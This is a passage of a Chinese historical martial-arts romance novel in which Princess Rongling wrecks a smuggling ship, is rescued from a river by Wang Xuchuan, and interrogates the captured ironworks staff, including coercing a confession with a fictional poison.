不同的是，他们弃刀剑，只持一排古怪的武器——那是半丈长的蜡木棍，棍头绑上锋利至极的弯头鱼叉。
以长攻短，这是守势一方惯用的法子。
若身边有南漳三卫，荣龄能想出一百个法子破了这稀烂的阵法，可此时的她只一人，手中又仅持一柄软剑。
于是，一时是她逼退众人，一时又是弯头鱼叉挑破她的外衣。
又一柄鱼叉自眼前掠过，荣龄看清其上密布的倒刺，心中一寒。
她知道，若刺中一记，那倒刺便牢牢勾住骨肉，持棍人再一绞一拉，她不死也得重伤。
荣龄仰面避过，整个人如一片落叶倒卷。再次落地时，视野中出现一抹白色。
正是叫她放倒的头帆。
她眼中一亮。
下一瞬，荣龄踢起头帆往前纵去。
一时间，帆在下，人在上。
半空如生起一片雪白的浪，密密罩在私兵头顶。
那船帆由浸油的厚麻布所制，绝难叫长柄鱼叉刺破。
趁此机会，荣龄终于跃至主桅。
主桅较头桅粗壮许多，联接的绞缭车也更坚固、复杂。
荣龄一剑只劈毁小半，她不得不再次感叹，今日只带一柄软剑当真失策。
可正当她欲出手缴一把独孤氏偷运出的镔铁刀以摧毁缭绞车时，一条乌黑的鞭影隐在夜色中急速而来。
荣龄发现它时，鞭头栓的赤金缀已至自个腕间。那赤金缀呈锥形，金光一闪，四片锥片展开，露出其中如蛇牙一般的金针。
她腕子急坠，拼着以手掌内侧的一片擦伤险而又险地避开沉猛一击。
荣龄在心中暗骂，又是鱼叉，又是长鞭，独孤氏只会以长攻短这一招？
可鞭子并听不懂她的啐骂，还未等她旋身回击，鞭影便如长蛇猛地昂起蛇首，又朝她攻来。
她一时气笑，世人只知南漳郡主叫“余霞散绮，明河翻雪”的玉苍刀，却鲜有人见过令“春烟断，山月落”的沉水软剑。
这长鞭咄咄逼人，当真不知沉水剑虽无法与刚猛的武器硬拼，却最长以柔克柔？
她轻抖右腕，软剑便如藤蔓绕树，死死咬住长鞭。
荣龄持剑回撤，将鞭子扥得笔直。
她这才得了空当打量持鞭之人——那人像是不怕冷，仅用一袭黑纱将全身裹得曲线毕露。
至于那人的脸…荣龄只瞟一眼便放弃。
她总归是认不出、记不住的。
可待那人开口，荣龄却惊讶地发现，她与这人虽接触不多，但绝非全然陌生——
她常年位居巴图林与贺方之后，在镔铁局三大管事中最不引人注意。
不错，眼前一身妖娆的持鞭之人正是常年素衣荆钗，全身无一分装饰的神耀局管事高四娘！
“沉水剑…”她的唇边
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露出冷笑。
而与她装扮上的天翻地覆相比，高四娘的下一句话更让人心惊——
“郡主驾临小小福船，咱们未曾远迎，实在失礼。”她不仅认得沉水剑，更知道沉水剑的主人。
“郡…郡主？”
“哪个郡主？”
人群因她的话哄地炸开。
这时，柁楼上的独孤氏攀着栏杆急切探身。
她紧紧盯着那道叫人团团围住却无一丝惧色的身影——既有尊荣身份，又有如此胆识与气度，那她只能是…
“可是荣信的独女荣龄郡主？”独孤氏问道。
高四娘听见她冷到极致的问话，仍是一记冷笑，“是啊独孤氏，正是害了你男人，毁了你一生的荣信，是他的独女。”
甲板上下因高四娘的这句话忽地安静下来。
荣龄直觉大事不妙，后颈汗毛根根炸起。
未待独孤氏怒喝“抓了她，我要她的命！”，荣龄已紧绷全身往左侧栏杆纵去。
她的身份似一道巨雷，轰得众人心潮澎湃又双目眩晕。
若抓了南漳三卫的统帅荣龄郡主，那将是何等的无上荣光？
旁观的阿卯只觉私兵们如眼冒绿光的饿狼，汹涌着朝荣龄扑去。
他是太子麾下密探，自然深知郡主之于太子殿下的重要性。
于是，他拼了命地向荣龄靠拢，欲助她撕开口子逃生。
柁楼上，秀儿陪着独孤氏一错不错地注视下方。
“花神主别担心，高四娘可是司主座下梧桐院的顶尖高手，定能拿下惊…不，是荣龄郡主。”她深知独孤氏对荣信的恨意。
独孤氏未回答，只盯着荣龄与阿卯如两条逆游的鮰鱼，在人群中左突右击。
两条鮰鱼…两条？
她忽觉不对，“秀儿，方才他们可有三人登船？”
秀儿也于瞬间反应过来，“确是三人，可剩的那人呢？”
双佛口已在咫尺。
因河道迅速变窄，水流生出急旋，吐出大量的水汽。
由此而生的薄雾自峡谷间漫漫涌来，于须臾笼上福船甲板。
此时的福船虽已被荣龄一行毁了船艏密舱与头帆，可凭借艉部双舵的设计，船工仍能在复杂的水况中精密操纵航行方向。
然而，就在独孤氏与秀儿发觉不妥的当口，一道黑影攀上艉部露台。
几息间，匕首寒光四闪。
船工的呼救与哀号被四周的水声、风声与厮杀掩去。
隔空相望的独孤氏与秀儿如见一场沉默的屠杀。
一道刺目的信号烟升空。
伴随这一方撕破暗夜的骤亮，福船开始失控打旋，直直往双佛口伸出的险滩撞去。
这便是三人散开时，荣龄打出的手势涵义。
她记得，阿蒙哥哥曾告诉她，大船前行，一靠帆，二靠舵。在如双佛口这般风急浪高又暗流密布的险地，舵比帆更重要。
因而，她以身做饵，只让独孤氏错以为她的目的是卸帆。如此，她便将大部分兵力牵制在主帆左右，阿卯与赫哲可趁机潜去艉部摧毁船舵。
巨船在水流的夹击中发出恐怖的“吱嘎”声。众人惊惧地抱紧身旁一切固定的装置，只怕一个巨浪袭来，他们便被甩入湍急的水中。
然而，荣龄他们不这样想。
几息后，信号烟的光芒黯去，如神兵天降的三个大梁人也宛若轻烟，倏地消失在船舷。
卧佛山下，荣宗阙又如一尊静立的青铜法器。
一片紧张的寂静中，他对一旁的王序川冷声道：“待此间事了，我便是给了太子交代。日后你们若再越界，当心我翻脸。”
王序川躬身一拜，并无回话。
也不知他是不便回，还是不敢回。
可只有他自个知道，他敷衍一拜，只因心不在此。
他一瞬不瞬盯着视野中的巨轮。
待信号烟升起，他更是不自觉地前迈一步。
忽然，船舷处陆续落下三道黑影。
与高大的福船相比，那些黑影渺小如黑子、似孤星。
他的心弦高高悬起，只将其中一粒略小的黑影印在眼中、心中。
可下一刻，他的瞳孔骤然紧缩——
一道笔直细长的阴影下探，金光微闪，那道略小的黑影被狠狠击中。
她的四肢柔软下垂，似毫无知觉地坠入大清河中。
21. 相救
荣宗阙也看到这一变故。
他的眼力较王序川好上许多，自然看清那道笔直细长的影实为一截长鞭。
“阿木尔！”他不禁急唤。
福船以凌厉之势撞向滩涂。
荣宗阙深知，此时的自个不仅是荣龄的二哥，更是京南卫统帅，是今晚的最高指挥。
他不能走。
“冯锐、二保…”他高声唤出京南卫中水性最好的几人，“郡主落水了，你们带上二营速去相救，救活的，只要活的！”
“郡主…？”冯锐犹豫问，“是哪位郡主？”
“是荣龄，荣龄郡主。”荣宗阙嗓音微颤。
冯锐几人相视一眼，忙抱拳应下。
可有人比他们更快。
一道身影斜签着投入水中，他快速蹬水，全力往荣龄落水的下游处游去。
“那谁，”荣宗阙一个头两个大，这样湍急的水流，他一个书呆子除了送死能做什么？届时冯锐一行不仅得救荣龄，还得救这没用的…等等，他叫什么名来着？
二殿下贵人事多，一时真记不起这芝麻绿豆大的小官唤何名。
“先不管他，救郡主要紧！”他又气又烦，急声吩咐。
王序川入水后的第一感觉便是冷，极度的、令人僵直的冷。
但很快，他便感受不到冷。
他心中有一把灼烈的火，那火燃烧四肢百骸，催促他向前、再向前。
福船失控带来的巨浪将他一次次冲离既定路线，他如逆波中寻找伴侣的另一条鮰鱼，顶着浪，在江天一片黑暗的双佛口绝望地寻找他在心中放了这么多年的姑娘。
“阿木尔！”
“荣龄！”
王序川的呼喊掩在湍急的水流与京南卫的厮杀中，单薄如蚍蜉撼树。
又一个巨浪打来，即便他水性极佳，也不得不闷入水中避过这猛烈一击。
浪头过去前，王序川只能凫在水下三尺往上搜寻。
他看到浑浊而昏暗的水面，更看到不时有几截更为浓黑的阴影漂过头顶。
他略一细想——当是福船散落的木械。
这时，又一截粗黑的阴影浮沉而过，它的两头略细，中间却呈不规则的嘭起，像是…
像是有人趴在浮木上借力。
王序川心跳渐快——
荣龄落船当与福船失控发生在相近的时间。既然浮木已漂至附近，那么荣龄…
他再顾不上其他，追着浮木快速游去。
追得愈近，他愈发清楚地看见那人的手腕下垂，在水流中招摇如青荇。
他伸长胳膊去够，可一个急旋打来，他被向右甩开，那人则去了另一侧。
王序川挣扎着调转方向。
因在冰冷的水中，他要较往日花费更多的气力。
再漂出几丈，他攒够劲，再次往浮木靠近。
然而，情急之中的他没有注意，不远处有一道自水中升起的暗影，它遮星掩月，正是双佛口中最叫船工胆寒的阎王礁。
王序川方察觉水流有异，前头的浮木便狠狠撞上礁石。
因力道过猛，浮木回弹半丈，随后又反复撞击。
浮木上的人随力道震荡，已是摇摇欲坠的样子。
他心中大乱，毫无章法也毫无保留地全速冲去，只怕晚一息，那人便要掉入水中。
终于，在他以己作盾，狠狠撞上阎王礁，并贴着礁石在水流猛烈的冲击中翻过几丈后，他在力竭之前拉住了那只几无知觉的手。
“阿木尔，阿木尔…”王序川后怕得想要落泪。
双佛口向东三里，河水再次变宽、变缓，荣宗阙正是在此处找到二人。
夜寒霜重，躲在背风处的二人冻得面白唇紫，衣衫、长发俱已结出厚厚的冰。
荣宗阙上下打量几番，待终于看清荣龄胸前微弱的起伏后，他才敢蹲下身，拍了拍她的脸。
“阿木尔。”他轻声唤道。
荣龄起了烧，意识模糊得厉害。
但即便这样，她仍不住地低语“独孤氏…别叫她跑了。”
荣宗阙赶忙回道：“都捉住了，你安心些。”
闻言，荣龄紧绷的身体终于松开。
她的意识更加混乱，开始如幼儿般轻微地挣扎与胡语。
王序川抱紧她，凑近问道：“郡主，你说什么？”
她再度喃喃。
过了半晌，王序川终于听清，荣龄在说：“父王，阿木尔好疼。”
他将她搂得更紧，心中仿佛要拧出水来。
这之后的几日，保州一改通衢要地的繁忙与喧闹，变得如立、卧二佛山缄默无言。
更夫刘老二已两日没有出工，他望着比鹅毛还大的雪，急得嘴角起了一大串火泡。
“这断命的天，断命的老爷们哟，小老儿的米缸比那惠安楼的地板还干净，再不出工，我这条贱命…”说到这，他的嗓音哑下，“嗬嗬”地不知在喘气，还是叫痰塞住了，“算了，我死了也没人知道。”他长长地叹息。
但刘老二到底不服命，也不服死。
他在破单衣里塞满干草，准备去阳水街、牡丹巷撞大运——万一有哪位显贵的老爷小姐用了不合口的点心，撒气将它扔了呢？
怀抱这分微渺的期待，刘老二顶着风雪出了门。
可沿着阳水街来回走了三趟，刘老二不仅一无所获，更将本就饿得发昏的自个摔了个狗吃屎。
此时的阳水街空无一人，没人能帮他。
刘老二只得似一只老龟，手脚朝天挣了半晌，终于将身子倒过个儿来。
他摸着刺痛的后背，咧着嘴像是要呼痛，又像是干嚎。
可最终，他没有发出任何声音。
他缓慢站起，挪着比老龟快不了几许的步子，又往牡丹巷寻去。
若说阳水街是保州顶在鬟发最高处的头面，那牡丹巷便是美人穿在最里头的小衣，它不上台面，却香暖、熨帖得紧。
刘老二熟知保州大大小小的街巷，他自牡丹巷的南口进入，走过小半，又拐上一条白石子铺地的小径，沿着小径再穿过一丛养得不算精心的黄金竹，一扇低矮的桐木门就在眼前。
这是牡丹巷中一间不算出名但也不算没落的花楼“白雨金”的后门。刘老二来这只因他与此处的龟公有些微的交情，他想候一候他，求点吃的。
等了快有一个时辰，等到刘老二的须发都积了一层厚厚的雪，白雨金的后门终于“吱呀”开了。
刘老二一喜，匆忙咽下唾沫想要润润嗓子开口。
然而，他甫一抬头却只见一张绝不熟悉，但也说不上陌生的脸——这张脸，他在三日前还见过一回。
“贺…贺大人…”他结巴道。
贺方一见他，紧张到有些变形的脸上出现一道诡异的喜色。
“你，你过来！”他自然不记得刘老二，只囫囵唤他，“把衣裳给我！”
见刘老二一脸的不解，贺方拧下一枚赤金嵌鸽血红的戒指，“这个给你，把衣裳脱给我！”
见到那枚他梦中都不敢想的戒指，刘老二终于从呆滞中回过神，“哎！哎！”他不知道高高在上的贺大人为什么要他的破衣裳，也想不通这衣裳怎就值一整个金戒指，他只剩一个念头——那戒指可以换许多钱，他可以买米、买面，还能给隔壁的陈寡妇扯三尺素布。
刘老二手忙脚乱地脱下那身不知打了多少补丁，又不知多久没洗的袍子，只怕贺方一时酒醒便要后悔。
怯懦如刘老二，只以为贺方是喝多了才这般糊涂。
贺方等不及，一把夺过衣裳。
他又将自个的锦袍换下，扔给刘老二，“待会儿你穿上我的衣裳，往白雨金正门口走。戒指你先拿着。”
刘老二早被赤金的光彩迷了头脑，“哎！好，好！”他连声应道。
待裹上那身云朵般轻暖的锦袍，他前所未有地挺直永远驼着的脊背。
刘老二在心中想象，此刻的自个就是贺方，是住在深宅大院，一餐饭便能吃掉一整吊铜钱的老爷。
在这一层轻雾般的美梦中，他一步步走向白雨金的正门——
只见两扇朱红大门轰然洞开，门内外站满持刀的铁衣郎。铁衣郎们着银色薄甲，浑身散发着本地大头兵所不能有的傲气。
刘老二再走近些细瞧，门旁的墙边另站了七
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零八落的一堆人——有衣衫不整的香客，有嘤嘤啼哭的女校书，至于他认得的那位龟公，早已惶惶不安地瘫坐地上。
“将爷，那贺大人一直在的，小的也不知他怎么就不见了。”龟公身上布满脚印，像吃了不少教训。
甫一听见“贺大人”三字，沉于美梦的刘老二只觉心底忽地裂出一道缝隙，漫天的寒意透过缝隙，呼呼地自外头透入他的五脏六腑。
他茫然，且不安。
似为印证这份不安。
有人喊了声，“贺大人，贺大人在那，是贺大人的衣裳！”
尖细的嗓音回荡在窄窄过道，它如一把利剑，将刘老二心底的缝隙划破为斗大的豁口。
很快，他的体内冻了霜、结了冰。
京南卫猛地扑来。
“我…我不是…”刘老二辩解的话也被彻骨的寒意冻在嘴边，他讷讷地说不出口。
再回过神，他已被人压在地上。
那后头的事，他因极度的恐惧记得模糊。
有人用硬邦邦的革靴踹他，有人用刀柄、用马鞭打他，有人用他一知半解的大都话不断质问，问他与独孤氏有何关系，他们与前元又是怎样勾结？
刘老二嘴里涌上一口又一口的鲜血。
他想说，他不知道，他什么都不知道，他不认识独孤氏，也不知道断命的前元朝廷，他只是人人都看不起的一个更夫，可他不想死，还想活。
然而，没有人听见他的话。
就在刘老二绝望地以为，他的一条贱命要交代于此时，一道比晨钟还要清越的声音喝道：“住手，他不是贺方！”
他费力地抬头，只见那人穿一身朱红的袍子，像雪中的一枝梅，也像白绢上的一滴血。
“王大人有何指教？”赫哲警惕问道。十一月十三日的合作结束，二人又各归其主、各有图谋。
王序川一抬手，巡按御史府兵押着一人上前。
那人衣衫褴褛，盯着王序川如见鬼魅。“你不是…你不是王员外…”他看清那一身朱红的官服，“你到底是谁！”
王序川没理他，只道：“赫哲将军不若叫白雨金的妈妈来认，究竟你我手中，哪个是贺方。”
赫哲来回看了二人。
随后他狠狠掷过一位妆容浓厚、但此刻已哭得一脸糊涂的妇人，“究竟谁是贺方？”
妇人被扔在雪地，既冷又怕。
她左右看了半天，终于伸出发颤的手，“是他，他才是贺大人…”她指向王序川捉住那人。
“废物！”赫哲一脚踢翻衣衫单薄的女校书——方才正是她高喊，裹着一身锦袍的刘老二是贺方。
他还欲撒气，王序川却快步上前，挡在他与那位女校书之间。
“赫哲将军是要滥用私刑？”王序川沉声问道。
“她难道无罪？若非她乱认，我怎会叫贺方跑了？”赫哲言之凿凿，“更何况，王大人怎能确定这些人未提前勾结，刻意扰乱你我的视线？”
王序川指了指贺方的一身褴褛，“赫哲将军不知，贺方贺大人…”他刻意强调不合规矩的“贺大人”三字，“一身的装扮从不少于一金。若非事出突然没旁的选择，这一身褴褛会要了他的命。”
他又转回面向赫哲，“再者，刘老二本不该出现在此。若这便是贺方的提前安排，未免太刻意，太引人起疑。”
“是故，他二人互换衣裳确是偶然。”
赫哲一时找不出反驳的话，但他仍不服气，“王大人可能担保？”
“能。”王序川话音不高，语气却肯定。
“凭何？”赫哲再问。
红色身影静立，垂落的两袖是铮铮风骨，“凭我是刑部郎中，掌令、令格、式及刑名罪名之制。”
刘老二再次有清晰的记忆时，骇人的将军已带手下离去。
这时，他听到一声好听的叹息。
“也是无妄之灾。为他请个医官，贺方那一手金的银的便先赔了他。”正是那位着红衣的大人。
刘老二心中一喜，可没等他攒足力气道谢，一匹快马驶近，似有人说“郡主醒了。”
红袍一闪，刘老二便无缘见他。
22. 我不是王大人
荣龄靠着迎枕，正听万文秀细说这几日的消息。
“除了高四娘，独孤氏等人都已捉拿归案。”她为荣龄端来汤药，“二殿下与王大人瞒住了郡主受伤的消息，并无几人知道。”
荣龄颔首。
这是当前最稳妥的做法。
若叫建平帝知晓荣龄莫名出现在保州，又在生死关头荡了一圈，他定不会叫这事轻易地过去。
可若细查，不仅荣宗阙的母家赵氏难洗通敌前元的嫌疑，便是太子荣宗柟，他身为储君，却暗中交往荣龄——如今的荣龄再不只是自小受宠的堂妹，她更是大梁边军——南漳三卫的最高统帅。
荣宗阙与荣宗柟都不想过早暴露自己。
他们却不知，这正合了荣龄的心意。
花间司、长春道…前路乱如经年的蛛网，在她找到破局之法前，她不想引起建平帝过盛的疑心。
“可问出什么了？”荣龄问。
说到这，万文秀难得说了浑话，“郡主，那一伙京南卫全是混球！一说查案，便只知恐吓、拷打。他们搅得保州满城风雨、人人自危，却没问出丁点儿有用的消息！”
“没问出丁点儿有用的消息…”
荣龄手中的汤匙一停。
她再喃喃重复一遍，忽摇头道：“文秀，你叫他们骗了。”
万文秀疑惑望她。
“若我是荣宗阙，我也不想叫任何人问出‘有用的消息’。”她坐直身子，连碗带匙递给万文秀，“若当真有证词，独孤氏叛国而逃便是事实。可谁人不知，她乃镔铁局主事，为兵部武库司辖管的官员…可兵部，那是无可辩驳的赵氏的势力范围。届时，兵部、赵氏又该如何自辩…”
然而，她的话还未说完，牵动后背带来的剧痛便叫她停下一切动作。
跌落福船之际，高四娘的赤金缀狠狠击中荣龄后背，其中的金针似淬了毒，叫她伤口难愈且精神昏沉。
“郡主！”万文秀忙放下手中药碗，欲到床边扶她。
却有一道身影比她更快。
一双手稳稳扶住荣龄两肩。
待她缓过神，那人又松开手，只递过一方无绣无香的帕子，“郡主可好些了？”
荣龄慢慢抬眼，视线中次第出现红色的圆领衫、青绫覆面的革带，再往上是苏绣的白鹇补与交领露出的一截修长且洁白的颈子。
她只看着那人胸前的两只白鹇，“好些了，荣龄谢过王大人救命之恩。”她道。
她一醒来，万文秀便将此间的大事小事都说与她听。
王序川豁出命去救了她自是其中一等一的紧要。
“二殿下找到郡主与王大人时，王大人身上已结了厚厚的一层冰，可他仍挡在矮穴的洞口，不叫郡主吹风。”
万文秀停了停，“若郡主不曾与张大人…”
荣龄虽昏迷良久，可她对于那夜并非全无记忆。
她记得一双手捉住她又叫湍流冲开，冲开后又挣扎着寻她。她还记得那个藏身的矮穴极小极狭，两道湿漉漉的身影依偎一处，好似天地洪荒，世上只活了他们二人。
可这些记忆，她不能也不敢细想。
“文秀。”荣龄出言打断。
万文秀轻轻一叹，又说起旁的。
如今的荣龄再次面对王序川，她既感激，却又觉遗憾。
“日后王大人若有难处，南漳王府必…”
未等荣龄说完，王序川打断她，“郡主又要与我两清了？”他语气平静，分不出是气狠了还是本就不在意。
荣龄轻阖了一下眼，“王大人说笑了…”
又没叫她说完，王序川忽道：“若我不是王大人呢？”
闻言，荣龄终于抬起头，她看向那张模糊的面容，“你不是王大人，那是谁？”
对视中，王序川眼中的江南水意层叠涌来，荣龄深陷其间，只觉这目光既陌生又熟悉。
她一时恍惚，再次问道：“你到底是谁？”
可惜，她未立刻听到王序川的答案。
隔扇叫人扣响，“阿木尔，我来瞧瞧你。”是荣宗阙，他站在碧纱橱外，并未走入内间。
荣龄这才昏昏沉沉地意识到，身为堂兄的荣宗阙都因避嫌而不能入内看她，可王序川却堂而皇之地坐在她床前…
他到底是谁，他以为他是谁？
荣龄推开王序川相扶的手，她艰难站起，又叫万文秀取来斗篷。
因是身份贵重的女眷，荣宗阙将她安置在保州知府赵瑄的私宅。
她走到会客的外间，颔首道：“二殿下。”
一身单衣的荣宗阙负手而立，上下打量荣龄。他正欲开口，却见王序川也从内室出来。
荣宗阙收起关心，只冷冷一笑，“看来你是大好了。”
荣龄既没心气也无精力与他拌嘴，她站直身子，直截道：“二殿下，我要见独孤氏。”
荣宗阙还是那副阴沉的样子，“为何？”
她想了个说辞，“这回独孤氏虽是用的海船运走镔铁刀，可我担心，陆路也叫他们钻了豁口。”
“你怕…”荣宗阙有意未说完。
“没错，”荣龄肯定了他的猜测，“我怕上罗计长官司也出了岔子。”
见荣宗阙仍犹豫，荣龄又半真半假道：“我知道二殿下的顾虑，但上罗计长官司由我辖管，便是问出些隐秘，陛下的雷霆也只会落我头顶，更何况…”
她示意荣宗阙靠近，在他耳畔低低道：“我早些问清，你也可早些了断独孤氏，再不用日日做戏。”
闻言，荣宗阙微眯起眼——荣龄苏醒才多会？她竟已看透自个将保州搅成一滩浑水却有意不问出任何线索的真正意图？
八年南境磨砺，她确已不再是不知愁的小丫头。
见他眼神愈发的沉，荣龄举起三指，好似起誓，又如威胁，“你要做的，我绝不插手。”
荣宗阙权衡半晌，终于颔首同意。
镔铁局位于西郊的大清河之畔，因属武库机要，向来鲜有人往来。
它如今又叫京南卫团团围住，明里暗里布满岗哨。如此一来别说人，便是野狗野猫都不敢再靠近分毫。
于是，“大梁第一利刃”镔铁局犹如一只落入猎网的困兽，蜷缩着匍匐在茫茫雪原。
守在正门处的冯锐一脸无趣。
他已在此守了几日，除二殿下来过几回，其余时间他只能数着天边聚散的流云打发时间。
这日他盯了一只老鸹许久。
只见老鸹抖着一身稀疏的黑羽自光秃秃的桑枝飞向河畔，在杂草窝中扑腾半晌后，它又振翅飞上仍在落雪的空中。
冯锐看了很久，久到那道伶仃的黑影渺如一粒落于绢纸的尘埃。
待他收回视线，却见一贯空无一人的正门前忽落了一顶不起眼的小轿。
冯锐连刀带鞘横在身前，喝问道：“阶下何人？”
轿帘挽起，一道真紫色的身影弯腰而出。
只见她着曳撒、束玉带，头上却梳圆髻，戴赤色珊瑚做的额饰。那额饰如一枚水滴垂在眉心，正与其眉梢的胭脂痣相和。
身着真紫色曳撒的女子，冯锐只想到一人…
说起来，几日前他还曾下水寻她。
那人与随行女子拾级而上，未等冯锐再问，一枚墨色腰牌递到他面前。
“南漳王府办事。”随行之人未提“南漳三卫”，而是用了宗室的名头。这表明她们前来不为军务，只是私事。
冯锐自墨牌上镌刻的“南漳”二字挪开视线，他从善如流，未行军礼，而是躬身一拜，“末将见过郡主。”
其余京南卫见状皆次第行礼，“见过郡主。”
“起吧。”来人正是荣龄，“我与二殿下已说好，要见见独孤氏。”
待冯锐起身，万文秀递过荣宗阙的手札。
冯锐验明手札，再次躬身道：“郡主请。”
大门訇然洞开，荣龄时隔两日，再次踏足此地。
因主官通敌前元，镔铁局停办一切事务，上下俱遭缉拿。
又因涉案人数过多，保州府衙辟不出这许多的牢房，荣宗阙便下令就地看守，将他们圈禁在镔铁局。
罪魁独孤氏也在其中。
然而，荣龄虽为独孤氏而来
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，却未径直去见她。
她叫人打开莫闪居用于举办投筹会的二重院，将巴图林、贺方等管事投入北屋，又让秀儿、春芳、阿夏等独孤氏的拥趸入了南屋。
她自个则坐在联接南北二屋的中道，一面饮冯锐就地端来的黄山云雾茶，一面等此间的结果。
方才，万文秀已至南北二屋说了规矩，道是众人若能说出独孤氏不为人知的隐秘，郡主便做主免了这人的刑罚。
这隐秘越紧要，郡主的恩赏越丰厚。
语落，众人一片哗然。
贺方只一味追问：“是何处的郡主？她确能做京南卫的主？”
另有神耀局的副手嚷嚷：“神耀局上下全听高四娘的吩咐，我听说她跑了，郡主娘娘不会因此牵连我们？”
另有大小管事讨饶：“咱们整日见不了几回独孤大人…不，不是大人，是那挨千刀的老寡妇，郡主娘娘明鉴啊！”
唯有独孤氏的心腹巴图林，在一室嘈杂中缄默如哑巴。
南屋与之大相径庭。
春芳狠狠一“呸”，“亏你们是高高在上的王子、郡主，竟做得出这样损阴德的事。你们问大人的私事作甚，是要威逼她，叫她不得不认莫须有的罪名？”
秀儿则冷笑，“我不知堂堂的郡主为何要扮作寡妇，大人可怜她，叫她来镔铁局做事。如今却受她反咬一口，真是可恨可叹。”
阿夏听清关节，忙追问道：“秀儿姐姐，郡主扮作寡妇？你这话是何意思？”
秀儿气愤地指向窗外，“大伙睁眼瞧瞧，外头那位郡主正是咱们昔日的好姐妹惊蛰。不知她为何恨上大人，竟不惜乔装潜伏，编造大人的罪名。大人一生清正，救了多少像咱们这样的苦命人。可这劳什子郡主，她自个害大人不成，还要想出这阴毒的法子，叫咱们来告发。她…她当真没有心！”
春芳银牙紧咬，恨恨道：“不要脸！”
其余人俱忿忿，“大人是好人，我们决不当白眼狼！”
万文秀将两处迥然的情形告知荣龄。
荣龄放下施七彩釉色的罗汉杯，“倒是个忠心的，”她评价秀儿，“可惜了…”
这时，京南卫生起炭盆叫荣龄取暖。
荣龄笼上双手，手心手背翻过几轮。
伴随僵冷的双手回暖，因在酸浆中浸泡时间过长而生的冻疮也再次变得疼痒。
她收回手，微微摇了头——
如暖手一般，这世上的事哪有全是好的。
没有全然的好人，也绝无人人都可获益的好事。
再过一会，她又道：“将他们隔开，一人给一份笔墨，不认字的便叫人守在跟前，直说即可。谁能最早给出我想要的，我便放了谁。”
万文秀应声而去。
荣龄的话再次引起千层浪。
可她没再管各样辩解、咒骂，只一人静静坐在院中。
没一会，北屋送出第一张条子。
荣龄展开一瞧，上头写了“独孤氏曾与米行的徐家家主有私情。”
她手上一松，纸条如一只残蝶落入炭盆。火苗轻轻一舔，盆中只剩红亮的余烬。
荣龄虽未就此得到想要的消息，可有了第一个投诚的管事，北屋送出的条子很快堆满桌面——他们或是怕叫人抢了头功错失免去刑罚的机会，或是担心在旁人的攀咬中受牵连。
条子的内容也很快从捕风捉影的男女苟合变得渐有实情。
她再展开一张，“每年清明，独孤氏均告假前往观音山。”纸条下方钤有“贺方”二字，像是怕荣龄听用了这消息，却赏错功臣。
又一张写，“独孤氏最爱听惠安楼的小倌清唱《梧桐雨》。”
荣龄略一想《梧桐雨》最末的几句唱词。
“斟量来这一宵，雨和人紧厮熬。伴铜壶点点敲，雨更多泪不少。”
她又想起，更早一些她还扮作惊蛰，感叹死了的相公“好人不长命”时，独孤氏物伤其类的悲悯…
荣龄独想通其间关节——孤氏是个寡妇，寡妇自然是有过相公的。
她心思一转，忽道：“将巴图林与春芳带来。”
23. 大莫闪之战
荣龄没有立刻问话，只静静看着二人。
巴图林虽有定力，可春芳只是个平常的妇人，没见过眼前阵仗。
很快，她被这无言的审讯逼得气浮心慌。
“你究竟要做什么？”春芳的声音如绷得过紧的羽弦，飘摇而无定。
荣龄没理。
再过一会，她问巴图林：“你与独孤氏先后来到保州，你早就认识她，对不对？”
见巴图林不答，她也不在意，只径直问下去，“又或者，你虽是汉人，却也出自大莫闪？”
巴图林身影不动，可紧盯他的荣龄却发现，他的瞳孔略有收缩。
看来她猜对了。
她手一摆，立时有京南卫端上一盏冒着热气的汤药。
不待荣龄再开口，两名京南卫熟练地一人钳住春芳的双手，一人将汤药灌入她口中。
见春芳如一只落入蛛网却不得挣脱的枯蝶，巴图林下意识地膝行靠近，“你给她喝了什么？”他终于开口，“她什么都不知道！”
荣龄仍未起身，只往前探出身子。
“她不知道，可你知道，”她道，“巴图林，你想救她？你可愿救她？”
这时，京南卫松开瘫软如泥的春芳。
冯锐又捧来点燃的半截檀木香。“郡主，半香散生效只需半柱香的时间。”他禀道。
荣龄听罢，没忍住吐槽，“这药名儿定是你们二殿下起的，忒直白，没雅兴。”
冯锐讪讪一笑。
他们自还有闲心说笑，另一旁的巴图林与春芳却陷入痛苦的抉择。
一面是忠，是义，一面却是情，是爱。
孰者为重，孰者轻，皆只在巴图林的一念之间。
荣龄冷眼旁观。
巴图林因极度的紧张而在冰天雪地间额面生汗。春芳则一动不动地躺在雪中，她既没看巴图林，也未将视线投向造成这一切的荣龄。
她猩红着眼，落下一串又一串的泪，可那些泪尚未滴入雪中，便叫过低的气温冻在她颊上，没一会，她的一张脸便如裹了冰衣的水仙，美丽，却毫无生气。
檀木香一节节断下灰烬。
伴随荣龄低微的叹息，香盘吐出最后一截烟气。
冯锐禀道：“郡主，香尽了。”
与之同时，雪地忽现一蓬蓬较最名贵的大红宝珠还要鲜、还要艳的红，那正是春芳呕出的鲜血。
半柱檀木香尽，半香散生效。
春芳呕出的鲜血如最烫最烈的镔铁烙在巴图林心底。
他只觉得疼，撕心裂肺地疼，“我说，我都说，我什么都告诉你！”巴图林终于放弃权衡，他魁梧的身子如山崩落，“求求你救春芳，求郡主救春芳。”
保州以南有一奇石，它立于高山之巅，状如观音大士手中的宝瓶。因而不知何时，亦不知何人给这山起了个恰如其分的名，观音山，那奇石便唤作宝瓶石。
又因观音山较远处的立佛山更为低矮，正合了佛图中菩萨向佛祖合十低首的形容，“观音山”便叫开并流传下来。
既名“观音山”，山中自有黄墙乌瓦的普济寺。
普济寺得“宝瓶石”镇守，向来香火极盛。
可连日大雪封山，再繁盛的香火也寂静下，只留数盏青灯独对月冷雪清。
然而这日，一行墨点皴破素裹的观音山。
它们沿已被厚雪淹没的山径艰难上行，直行到宝瓶石下一处面西的平地。
不多时，其余墨点又都离去，仅余两抹孤零的一朱一紫似被遗忘在茫茫雪地。
“春芳死了吗？”朱色身影问道，她抬高眼睫，一贯软媚的眼神较冰凌更冷厉。
另一道真紫色的身影自是荣龄。
“巴图林醒悟得及时，京南卫尚来得及灌下解药。”她道。
见荣龄沉静如渊，独孤氏半是不解，半是厌恨，“我没想到，你竟忍心对春芳下狠手？”她道，“若我未记错，你潜入镔铁局时，春芳很是照看你…”
说到一半，她又觉得没意思。
“罢了，一个春芳，一处镔铁局算什么。郡主娘娘只见天上宫阙，人间的蝼蚁怎会看在眼中？”
荣龄没有回答独孤氏的冷嘲
她撑了一柄油伞，垂首仔细打量叫雪埋了大半的灌木。
“这是茶花麻？我在父王的手札中见过，说它生在大莫闪，夏日开花，花朵状如铃兰、形容粉媚。”
